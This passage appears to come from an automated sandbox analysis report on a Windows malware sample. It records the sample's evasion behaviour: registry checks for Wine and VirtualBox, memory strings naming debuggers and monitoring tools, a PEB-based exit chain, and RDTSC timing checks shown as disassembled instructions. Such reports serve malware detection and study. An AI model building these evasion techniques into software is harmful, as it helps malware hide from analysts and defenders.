Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_2-9692

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: a165d57aad8045aabeccfce221a720ca.exe.48.dr	Binary or memory string: %HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0A2E second address: 6E0A50 instructions: 0x00000000 rdtsc 0x00000002 je 00007F100CB95078h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F100CB9507Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0BB4 second address: 6E0BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0BBD second address: 6E0BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F100CB95089h 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b jc 00007F100CB950A3h 0x00000011 pushad 0x00000012 js 00007F100CB95076h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0E87 second address: 6E0E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0E8C second address: 6E0EB5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F100CB95088h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jp 00007F100CB95080h 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1166 second address: 6E117C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F100CBC40BDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E117C second address: 6E1180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1180 second address: 6E1186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1186 second address: 6E119D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F100CB95082h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E119D second address: 6E11AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F100CBC40B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1312 second address: 6E131A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3F8C second address: 6E3F91 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3F91 second address: 6E401E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 04A2D200h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F100CB95078h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 jmp 00007F100CB95082h 0x0000002d push 00000003h 0x0000002f mov dword ptr [ebp+122D32C3h], edi 0x00000035 push 00000000h 0x00000037 pushad 0x00000038 jmp 00007F100CB95082h 0x0000003d clc 0x0000003e popad 0x0000003f jbe 00007F100CB95080h 0x00000045 js 00007F100CB9507Ah 0x0000004b mov si, 89C8h 0x0000004f push 00000003h 0x00000051 mov edx, 0DF6B707h 0x00000056 mov dword ptr [ebp+122D38CEh], edi 0x0000005c push B2C4BC13h 0x00000061 push eax 0x00000062 push edx 0x00000063 jo 00007F100CB95078h 0x00000069 push ebx 0x0000006a pop ebx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E40D1 second address: 6E40D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E40D7 second address: 6E417D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F100CB95081h 0x00000008 jmp 00007F100CB9507Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 ja 00007F100CB9508Bh 0x00000016 jns 00007F100CB95085h 0x0000001c nop 0x0000001d jl 00007F100CB9507Bh 0x00000023 mov edi, 2190C7E9h 0x00000028 call 00007F100CB95084h 0x0000002d mov dx, bx 0x00000030 pop ecx 0x00000031 push 00000000h 0x00000033 sub edi, 3B530FC4h 0x00000039 mov edi, eax 0x0000003b call 00007F100CB95079h 0x00000040 pushad 0x00000041 jbe 00007F100CB95078h 0x00000047 push eax 0x00000048 jl 00007F100CB95076h 0x0000004e pop eax 0x0000004f popad 0x00000050 push eax 0x00000051 jmp 00007F100CB9507Ch 0x00000056 mov eax, dword ptr [esp+04h] 0x0000005a jmp 00007F100CB95080h 0x0000005f mov eax, dword ptr [eax] 0x00000061 push ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 jc 00007F100CB95076h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E417D second address: 6E4181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4181 second address: 6E4193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4193 second address: 6E4198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4198 second address: 6E41F7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F100CB9507Ch 0x00000008 jne 00007F100CB95076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 movsx ecx, ax 0x00000014 push 00000003h 0x00000016 mov edx, 46E089EDh 0x0000001b push 00000000h 0x0000001d mov dword ptr [ebp+122D2361h], esi 0x00000023 push 00000003h 0x00000025 mov esi, dword ptr [ebp+122D2C95h] 0x0000002b call 00007F100CB95079h 0x00000030 jns 00007F100CB95080h 0x00000036 pushad 0x00000037 push edx 0x00000038 pop edx 0x00000039 jnp 00007F100CB95076h 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F100CB95088h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E41F7 second address: 6E41FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E41FD second address: 6E4201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4201 second address: 6E4205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4205 second address: 6E4217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4217 second address: 6E421B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E421B second address: 6E421F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E421F second address: 6E4225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4225 second address: 6E422F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F100CB9507Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E422F second address: 6E4266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jns 00007F100CBC40C0h 0x0000000e pushad 0x0000000f jp 00007F100CBC40B6h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F100CBC40C6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4266 second address: 6E426B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E426B second address: 6E4290 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F100CBC40B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d clc 0x0000000e lea ebx, dword ptr [ebp+12458E2Ah] 0x00000014 mov dword ptr [ebp+122D32C3h], eax 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f je 00007F100CBC40B6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4290 second address: 6E4296 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4296 second address: 6E429D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E43A3 second address: 6E43ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 ja 00007F100CB95078h 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F100CB95082h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c js 00007F100CB9508Fh 0x00000022 jmp 00007F100CB95089h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E43ED second address: 6E449A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F100CBC40B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jmp 00007F100CBC40C2h 0x00000013 pop eax 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F100CBC40B8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e cld 0x0000002f call 00007F100CBC40BBh 0x00000034 jnc 00007F100CBC40BCh 0x0000003a pop ecx 0x0000003b push 00000003h 0x0000003d mov edi, 5AA0BC1Fh 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007F100CBC40B8h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 00000015h 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e push 00000003h 0x00000060 mov ecx, 55705F5Dh 0x00000065 jg 00007F100CBC40CFh 0x0000006b push D0A99DD8h 0x00000070 pushad 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C93AB second address: 6C93BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F100CB9507Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C93BB second address: 6C93C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C93C1 second address: 6C93C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702599 second address: 70259E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70259E second address: 7025A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702817 second address: 70281B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70281B second address: 70281F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70281F second address: 702836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F100CBC40B6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f jp 00007F100CBC40B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702836 second address: 702859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F100CB95086h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7029D0 second address: 7029EF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F100CBC40D1h 0x00000008 jmp 00007F100CBC40C5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7029EF second address: 7029F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702C95 second address: 702C9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702C9A second address: 702CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702CA3 second address: 702CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702CA7 second address: 702CEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95085h 0x00000007 jmp 00007F100CB95085h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 jmp 00007F100CB9507Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702CEC second address: 702D07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F100CBC40BAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702D07 second address: 702D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702D0F second address: 702D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70337C second address: 70338E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F100CB9507Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70338E second address: 703394 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
